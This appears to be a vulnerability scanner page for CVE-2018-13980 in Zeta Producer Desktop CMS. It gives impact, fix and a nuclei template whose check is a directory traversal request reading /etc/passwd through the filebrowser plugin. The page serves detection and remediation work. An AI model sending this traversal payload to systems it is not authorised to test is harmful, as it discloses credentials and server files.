Zeta Producer Desktop CMS <14.2.1 - Local File Inclusion

mediumseverity

5.5CVSS score

6.9%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

Zeta Producer Desktop CMS before 14.2.1 is vulnerable to local file inclusion if the plugin "filebrowser" is installed because of assets/php/filebrowser/filebrowser.main.php?file=../ directory traversal.

Impact

An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.

Fix

Upgrade Zeta Producer Desktop CMS to version 14.2.1 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/assets/php/filebrowser/filebrowser.main.php?file=../../../../../../../../../../etc/passwd&do=download
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-13980 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-13980

info:
  name: Zeta Producer Desktop CMS <14.2.1 - Local File Inclusion
  author: wisnupramoedya
  severity: medium
  description: Zeta Producer Desktop CMS before 14.2.1 is vulnerable to local file inclusion if the plugin "filebrowser" is installed because of assets/php/filebrowser/filebrowser.main.php?file=../ directory traversal.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
  remediation: |
    Upgrade Zeta Producer Desktop CMS to version 14.2.1 or later to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/45016
    - https://www.sec-consult.com/en/blog/advisories/remote-code-execution-local-file-disclosure-zeta-producer-desktop-cms/
    - http://packetstormsecurity.com/files/148537/Zeta-Producer-Desktop-CMS-14.2.0-Code-Execution-File-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-13980
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.5
    cve-id: CVE-2018-13980
    cwe-id: CWE-22
    epss-score: 0.06902
    epss-percentile: 0.94134
    cpe: cpe:2.3:a:zeta-producer:zeta_producer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeta-producer
    product: zeta_producer
  tags: cve2018,cve,lfi,edb,packetstorm,zeta-producer,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/assets/php/filebrowser/filebrowser.main.php?file=../../../../../../../../../../etc/passwd&do=download"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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